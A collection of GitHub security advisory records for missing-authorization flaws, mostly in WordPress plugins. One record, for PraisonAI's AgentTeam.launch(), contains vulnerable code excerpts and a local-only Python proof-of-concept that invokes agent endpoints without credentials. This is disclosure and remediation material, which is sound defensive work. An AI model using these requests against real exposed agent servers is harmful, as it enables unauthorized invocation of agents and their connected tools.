{
  "affected": [],
  "aliases": [
    "CVE-2025-11754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T07:17:26Z",
    "severity": "HIGH"
  },
  "details": "The GDPR Cookie Consent plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027gdpr/v1/settings\u0027 REST API endpoint in all versions up to, and including, 4.1.2. This makes it possible for unauthenticated attackers to retrieve sensitive plugin settings including API tokens, email addresses, account IDs, and site keys.",
  "id": "GHSA-x7xv-7m65-qgq2",
  "modified": "2026-02-19T18:31:49Z",
  "published": "2026-02-19T18:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11754"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gdpr-cookie-consent/tags/4.0.1/includes/settings/class-gdpr-cookie-consent-api.php#L77"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3443083"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4107362f-ae21-4509-b83a-0bffbde23330?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-24594"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-25T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In waline 1.6.1, an attacker can submit messages using X-Forwarded-For to forge any IP address.",
  "id": "GHSA-x82p-683f-3gg5",
  "modified": "2022-03-08T00:00:41Z",
  "published": "2022-02-26T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24594"
    },
    {
      "type": "WEB",
      "url": "https://github.com/walinejs/waline/issues/785"
    },
    {
      "type": "WEB",
      "url": "https://github.com/walinejs/waline/discussions/792"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-66072"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-21T13:15:48Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Stiofan UsersWP userswp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UsersWP: from n/a through \u003c= 1.2.47.",
  "id": "GHSA-x83m-pwr6-93c3",
  "modified": "2026-01-20T15:31:56Z",
  "published": "2025-11-21T15:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66072"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/userswp/vulnerability/wordpress-userswp-plugin-1-2-47-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/userswp/vulnerability/wordpress-userswp-plugin-1-2-47-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-33573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-08T14:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in EPROLO EPROLO Dropshipping.This issue affects EPROLO Dropshipping: from n/a through 1.7.1.",
  "id": "GHSA-x865-q275-326g",
  "modified": "2026-04-28T21:35:06Z",
  "published": "2024-05-08T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33573"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/eprolo-dropshipping/wordpress-eprolo-dropshipping-plugin-1-7-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-21763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-06T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In telecom service, there is a possible information disclosure due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07044717; Issue ID: ALPS07044708.",
  "id": "GHSA-x873-cfw9-v3qx",
  "modified": "2022-07-15T00:00:23Z",
  "published": "2022-07-07T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21763"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/July-2022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-12825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-17T05:16:09Z",
    "severity": "MODERATE"
  },
  "details": "The User Registration Using Contact Form 7 plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027get_cf7_form_data\u0027 function in all versions up to, and including, 2.5. This makes it possible for unauthenticated attackers to retrieve form settings which includes Facebook app secrets.",
  "id": "GHSA-x87c-mf44-jq5f",
  "modified": "2026-01-17T06:30:36Z",
  "published": "2026-01-17T06:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12825"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3433276%40user-registration-using-contact-form-7\u0026new=3433276%40user-registration-using-contact-form-7\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b49978c1-9254-4229-8d32-e12896301f3d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:57:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints\n\n## Summary\n\nPraisonAI\u0027s documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.\n\nThe current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host=\"0.0.0.0\"` for remote access.\n\nThis is a sibling/incomplete-fix variant of PraisonAI\u0027s prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.\n\nThis report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Latest release tag tested: `v4.6.57`\n- Primary file: `src/praisonai-agents/praisonaiagents/agents/agents.py`\n- Current line references: `AgentTeam.launch()` begins at line 1923;\n  the group `POST` route is registered at line 2007; the group handler invokes\n  `agent_instance.chat(...)` at line 2042; the unauthenticated list route is\n  registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line\n  2117.\n- Primary class/API: `AgentTeam.launch()` / exported alias `Agents`\n- Affected routes:\n  - `GET /{path}/list`: lists deployed agents.\n  - `POST /{path}`: sequentially invokes all agents in the team.\n  - `POST /{path}/{agent_id}`: invokes a specific agent.\n\nCurrent vulnerable sink:\n\n```python\n@app.post(path)\nasync def handle_query(request: Request, query_data: Optional[AgentQuery] = None):\n    ...\n    response = await loop.run_in_executor(\n        None,\n        copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),\n    )\n```\n\nPer-agent sink:\n\n```python\napp.post(agent_path)(create_agent_handler(agent_instance))\n...\nresponse = await loop.run_in_executor(\n    None,\n    copy_context_to_callable(lambda q=query: agent.chat(q)),\n)\n```\n\nList endpoint:\n\n```python\n@app.get(f\"{path}/list\")\nasync def list_agents():\n    return {\"agents\": [{\"name\": agent.display_name, \"id\": ...} for agent in self.agents]}\n```\n\nThere is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.\n\n## Security Boundary\n\nThis is not a trust-model-only report. PraisonAI\u0027s own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family.\n\nThe codebase also contains hardened sibling implementations:\n\n- `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97).\n- `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424).\n- `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out.\n\n`AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.\n\n## Local-Only Reproduction\n\nRun the local-only PoV script below with current source on `PYTHONPATH`:\n\n```bash\nPYTHONPATH=\"/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai\" \\\n  python poc_agentteam_launch_unauth.py\n```\n\nExpected vulnerable result:\n\n```text\n[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\n```\n\nObserved on current upstream main:\n\n```json\n{\n  \"results\": [\n    {\n      \"body\": {\n        \"agents\": [\n          {\n            \"id\": \"pov_agent\",\n            \"name\": \"pov_agent\"\n          }\n        ]\n      },\n      \"case\": \"no_auth_list\",\n      \"method\": \"GET\",\n      \"path\": \"/agents/list\",\n      \"status\": 200\n    },\n    {\n      \"case\": \"no_auth_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"wrong_bearer_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"no_auth_per_agent\",\n      \"method\": \"POST\",\n      \"path\": \"/agents/pov_agent\",\n      \"status\": 200,\n      \"body\": {\n        \"agent\": \"pov_agent\",\n        \"query\": \"marker\",\n        \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n      }\n    }\n  ]\n}\n```\n\nThe PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests.\n\nStandalone PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal-only PoV for PRAI-CAND-003.\n\nStarts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed\nagent response, then proves both the group endpoint and per-agent endpoint\nexecute without authentication. No model provider or external network is used.\n\"\"\"\n\nimport json\nimport socket\nimport time\nimport types\nimport threading\nfrom contextlib import closing\n\nimport requests\nfrom praisonaiagents import Agent, Agents\n\n\ndef _free_port() -\u003e int:\n    with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\ndef main() -\u003e int:\n    port = _free_port()\n\n    agent = Agent(\n        name=\"pov_agent\",\n        role=\"tester\",\n        goal=\"test\",\n        backstory=\"test\",\n        llm=None,\n    )\n\n    def stub_chat(self, query, *args, **kwargs):\n        return f\"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}\"\n\n    agent.chat = types.MethodType(stub_chat, agent)\n    team = Agents(agents=[agent])\n    launch_thread = threading.Thread(\n        target=lambda: team.launch(path=\"/agents\", port=port, host=\"127.0.0.1\", debug=False),\n        daemon=True,\n    )\n    launch_thread.start()\n\n    base = f\"http://127.0.0.1:{port}\"\n    for _ in range(40):\n        try:\n            response = requests.get(base + \"/health\", timeout=0.25)\n            if response.status_code == 200:\n                break\n        except Exception:\n            time.sleep(0.1)\n    else:\n        raise SystemExit(\"[poc] MISS: server did not start\")\n\n    cases = [\n        (\"no_auth_list\", \"GET\", {}, \"/agents/list\", None),\n        (\"no_auth_group\", \"POST\", {}, \"/agents\", {\"query\": \"marker\"}),\n        (\n            \"wrong_bearer_group\",\n            \"POST\",\n            {\"Authorization\": \"Bearer definitely-wrong\"},\n            \"/agents\",\n            {\"query\": \"marker\"},\n        ),\n        (\"no_auth_per_agent\", \"POST\", {}, \"/agents/pov_agent\", {\"query\": \"marker\"}),\n    ]\n    results = []\n    for name, method, headers, path, body in cases:\n        if method == \"GET\":\n            response = requests.get(base + path, headers=headers, timeout=5)\n        else:\n            response = requests.post(base + path, json=body, headers=headers, timeout=5)\n        try:\n            body = response.json()\n        except Exception:\n            body = response.text\n        results.append(\n            {\n                \"case\": name,\n                \"method\": method,\n                \"path\": path,\n                \"status\": response.status_code,\n                \"body\": body,\n            }\n        )\n\n    print(json.dumps({\"port\": port, \"results\": results}, indent=2, sort_keys=True))\n\n    expected_marker = \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n    for result in results:\n        if result[\"status\"] != 200:\n            raise SystemExit(f\"[poc] MISS: {result[\u0027case\u0027]} returned {result[\u0027status\u0027]}\")\n        if result[\"case\"] == \"no_auth_list\" and \"pov_agent\" not in json.dumps(result[\"body\"]):\n            raise SystemExit(\"[poc] MISS: unauthenticated list endpoint did not expose agent id\")\n        if result[\"case\"] == \"no_auth_list\":\n            continue\n        body_text = json.dumps(result[\"body\"], sort_keys=True)\n        if expected_marker not in body_text:\n            raise SystemExit(f\"[poc] MISS: marker absent for {result[\u0027case\u0027]}\")\n\n    print(\"[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Impact\n\nIf an operator follows the documented remote-server pattern and exposes an `AgentTeam.launch()` server on a reachable interface, any network client can invoke the deployed agents without credentials.\n\nDepending on the deployed agents, an unauthenticated caller may be able to:\n\n- enumerate available agent IDs and names through `GET /{path}/list`;\n- trigger model/API spend by repeatedly invoking agents;\n- drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;\n- trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;\n- access responses generated from connected private context, memory, or knowledge sources.\n\nThe impact is deployment-dependent, but the missing access control is in the framework\u0027s advertised network server path rather than in user application code.\n\n## Affected-Version Sweep\n\nStatic sweep of release tags shows the unauthenticated `AgentTeam.launch()` handler and per-agent registration present in:\n\n- `v4.6.33`\n- `v4.6.39`\n- `v4.6.40`\n- `v4.6.56`\n- `v4.6.57`\n\nThe issue remains present on current upstream main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`.\n\nThe generated deploy API path was hardened between `v4.6.33` and `v4.6.39`, and remains hardened in `v4.6.57`. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover `AgentTeam.launch()`.\n\n## Root Cause\n\nThe `AgentTeam.launch()` FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.\n\nThe security-sensitive action is direct invocation of `agent.chat()` from a network request. The route has no access-control check before that call.\n\n## Suggested Fix\n\nRecommended approach:\n\n1. Add a shared authentication helper for all network-facing agent invocation servers.\n2. Make `AgentTeam.launch()` fail closed for non-loopback binds unless a token/API key is configured.\n3. Require `Authorization: Bearer \u003ctoken\u003e` or an explicit documented API-key header for `POST /{path}`, `GET /{path}/list`, and `POST /{path}/{agent_id}`.\n4. Default `AgentTeam.launch()` to `host=\"127.0.0.1\"` unless an explicit unsafe/remote option plus auth is configured.\n5. Add regression tests proving:\n   - no token returns `401`;\n   - wrong token returns `403`;\n   - correct token can list agents;\n   - correct token can invoke the team endpoint;\n   - correct token can invoke the per-agent endpoint;\n   - external bind without auth fails at startup.\n\nIf unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.\n\n## Severity\n\nRecommended severity: Critical\n\nRationale:\n\n- Network attack vector: the documented server supports remote access via `0.0.0.0`.\n- Low complexity: a single POST request invokes the agent.\n- No privileges: no credentials are required.\n- No user interaction: once the server is exposed, the attacker directly sends requests.\n- High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.\n\nIf maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.\n\n## Notes\n\nThe direct single-agent `Agent.launch()` path in current source appears to share the same missing-auth design, but it raises `NameError: name \u0027_server_lock\u0027 is not defined` before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working `AgentTeam.launch()` / `Agents.launch()` path.\n\nThe CLI `praisonai serve agents` surface advertises a `--api-key` option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.",
  "id": "GHSA-x8cv-xmq7-p8xp",
  "modified": "2026-06-18T13:57:32Z",
  "published": "2026-06-18T13:57:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-1667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T17:16:54Z",
    "severity": "HIGH"
  },
  "details": "The SEO Plugin by Squirrly SEO plugin for WordPress is vulnerable to Arbitrary Post Creation and Stored Cross-Site Scripting in all versions up to, and including, 14.0.0 due to a leak of an API token and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to create arbitrary posts, and, if the Advanced Custom Fields plugin is installed and activated, inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
  "id": "GHSA-x8f2-2f6r-99xx",
  "modified": "2026-07-10T18:32:19Z",
  "published": "2026-07-10T18:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1667"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026new=3586051%40squirrly-seo\u0026old=3474256%40squirrly-seo"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aebdd464-10b9-4d43-bf38-f0e8ae25625f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-32485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in weDevs WP User Frontend wp-user-frontend allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP User Frontend: from n/a through \u003c= 4.2.8.",
  "id": "GHSA-x8fc-w2q6-x22j",
  "modified": "2026-03-26T21:31:25Z",
  "published": "2026-03-25T18:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32485"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wp-user-frontend/vulnerability/wordpress-wp-user-frontend-plugin-4-2-8-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-12249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T11:15:12Z",
    "severity": "MODERATE"
  },
  "details": "The GS Insever Portfolio plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_settings() function in all versions up to, and including, 1.4.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin\u0027s CSS settings.",
  "id": "GHSA-x8h5-v9c3-m475",
  "modified": "2025-01-09T12:30:55Z",
  "published": "2025-01-09T12:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12249"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gs-instagram-portfolio/tags/1.4.5/admin/Backend_Builder.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gs-instagram-portfolio/tags/1.4.5/admin/includes/Ajax.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/36f3e9be-9a4e-458d-92b3-687afc44696a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}